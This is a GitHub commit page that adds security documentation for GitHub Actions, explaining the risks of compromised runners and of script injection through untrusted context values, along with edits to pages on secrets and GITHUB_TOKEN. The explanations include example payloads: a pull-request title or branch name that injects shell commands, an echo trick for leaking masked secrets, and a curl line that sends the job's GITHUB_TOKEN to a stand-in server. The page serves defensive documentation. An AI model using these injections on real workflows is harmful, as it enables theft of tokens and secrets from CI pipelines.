Skip to content

Commit 918e0c0

Browse files
authored
Merge pull request #39350 from github/repo-sync
Repo sync
2 parents ff35d8c + ba76300 commit 918e0c0

30 files changed

+486
-551
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
---
2+
title: Compromised runners
3+
intro: 'Understand the security risks associated with compromised {% data variables.product.prodname_actions %} runners.'
4+
shortTitle: Compromised runners
5+
versions:
6+
fpt: '*'
7+
ghes: '*'
8+
ghec: '*'
9+
redirect_from:
10+
- /actions/concepts/security/compromised-runner
11+
---
12+
13+
## Potential impact of a compromised runner
14+
15+
These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
16+
17+
{% ifversion fpt or ghec %}
18+
19+
> [!NOTE]
20+
> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library.
21+
22+
{% endif %}
23+
24+
### Accessing secrets
25+
26+
Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).
27+
28+
* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
29+
* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
30+
* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
31+
32+
{% raw %}
33+
34+
```yaml
35+
uses: fakeaction/publish@v3
36+
with:
37+
key: ${{ secrets.PUBLISH_KEY }}
38+
```
39+
40+
{% endraw %}
41+
42+
Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
43+
44+
### Exfiltrating data from a runner
45+
46+
An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
47+
48+
### Stealing the job's `GITHUB_TOKEN`
49+
50+
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
51+
52+
### Modifying the contents of a repository
53+
54+
The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token).
55+
56+
### Cross-repository access
57+
58+
{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
59+
60+
If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).
61+
62+
You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
63+
64+
This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
65+
66+
1. **The `GITHUB_TOKEN`**
67+
* This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication).
68+
* The `GITHUB_TOKEN` should be used whenever possible.
69+
1. **Repository deploy key**
70+
* Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys).
71+
* Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
72+
1. **{% data variables.product.prodname_github_app %} tokens**
73+
* {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow).
74+
1. **{% data variables.product.pat_generic %}s**
75+
* You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in.
76+
* If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
77+
1. **SSH keys on a personal account**
78+
* Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
79+
80+
## Next steps
81+
82+
For security best practices with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/reference/secure-use-reference).

content/actions/concepts/security/github_token.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ versions:
1212

1313
At the start of each workflow job, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in the workflow job.
1414

15-
When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/reference/github_token-reference#permissions-for-the-github_token).
15+
When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions).
1616

1717
Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %}
1818

@@ -27,4 +27,4 @@ The token is also available in the `github.token` context. For more information,
2727
## Next steps
2828

2929
* [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows)
30-
* [AUTOTITLE](/actions/reference/github_token-reference)
30+
* [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions)

content/actions/concepts/security/index.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,5 +10,7 @@ children:
1010
- /secrets
1111
- /github_token
1212
- /openid-connect
13+
- /script-injections
14+
- /compromised-runners
1315
---
1416

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
---
2+
title: Script injections
3+
intro: Understand the security risks associated with script injections and {% data variables.product.prodname_actions %} workflows.
4+
shortTitle: Script injections
5+
versions:
6+
fpt: '*'
7+
ghes: '*'
8+
ghec: '*'
9+
---
10+
11+
## Understanding the risk of script injections
12+
13+
When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
14+
15+
Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`.
16+
17+
You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner).
18+
19+
In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
20+
21+
The following sections explain how you can help mitigate the risk of script injection.
22+
23+
### Example of a script injection attack
24+
25+
A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
26+
27+
{% raw %}
28+
29+
```yaml
30+
- name: Check PR title
31+
run: |
32+
title="${{ github.event.pull_request.title }}"
33+
if [[ $title =~ ^octocat ]]; then
34+
echo "PR title starts with 'octocat'"
35+
exit 0
36+
else
37+
echo "PR title did not start with 'octocat'"
38+
exit 1
39+
fi
40+
```
41+
42+
{% endraw %}
43+
44+
This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
45+
46+
To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`:
47+
48+
![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png)
49+
50+
In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
51+
52+
```shell
53+
Run title="a"; ls $GITHUB_WORKSPACE""
54+
README.md
55+
code.yml
56+
example.js
57+
```
58+
59+
For best practices keeping runners secure, see [AUTOTITLE](/actions/reference/secure-use-reference#good-practices-for-mitigating-script-injection-attacks).

content/actions/concepts/security/secrets.md

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,14 @@ Secrets allow you to store sensitive information in your organization, repositor
1616

1717
{% data variables.product.prodname_actions %} can only read a secret if you explicitly include the secret in a workflow.
1818

19+
{% ifversion fpt or ghec %}
20+
21+
## How secrets work
22+
23+
Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime.
24+
25+
{% endif %}
26+
1927
## Organization-level secrets
2028

2129
{% data reusables.actions.secrets-org-level-overview %}
@@ -40,11 +48,7 @@ Instead of using a {% data variables.product.pat_generic %}, consider using a {%
4048

4149
{% data variables.product.prodname_actions %} also redacts information that is recognized as sensitive, but is not stored as a secret. For a list of automatically redacted secrets, see [AUTOTITLE](/actions/reference/secrets-reference#automatically-redacted-secrets).
4250

43-
> [!NOTE] If you would like other types of sensitive information to be automatically redacted, please reach out to us in our [community discussions](https://github.com/orgs/community/discussions?discussions_q=is%3Aopen+label%3AActions).
44-
45-
As a habit of best practice, you should mask all sensitive information that is not a {% data variables.product.prodname_dotcom %} secret by using `::add-mask::VALUE`. This causes the value to be treated as a secret and redacted from logs. For more information about masking data, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#masking-a-value-in-a-log).
46-
47-
Redacting of secrets is performed by your workflow runners. This means a secret will only be redacted if it was used within a job and is accessible by the runner. If an unredacted secret is sent to a workflow run log, you should delete the log and rotate the secret. For information on deleting logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs).
51+
Because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain security proactive steps you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets. For a reference list of security best practices with secrets, see [AUTOTITLE](/actions/reference/secrets-reference#security-best-practices).
4852

4953
## Further reading
5054

content/actions/how-tos/security-for-github-actions/index.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,13 @@ intro: 'Use security best practices with {% data variables.product.prodname_acti
55
redirect_from:
66
- /actions/security-guides
77
- /actions/security-for-github-actions
8+
- /actions/security-for-github-actions/security-guides
9+
- /actions/how-tos/security-for-github-actions/security-guides
810
versions:
911
fpt: '*'
1012
ghes: '*'
1113
ghec: '*'
1214
children:
13-
- /security-guides
1415
- /using-artifact-attestations
1516
- /security-hardening-your-deployments
1617
---

content/actions/how-tos/security-for-github-actions/security-guides/index.md

Lines changed: 0 additions & 17 deletions
This file was deleted.

0 commit comments

Comments
 (0)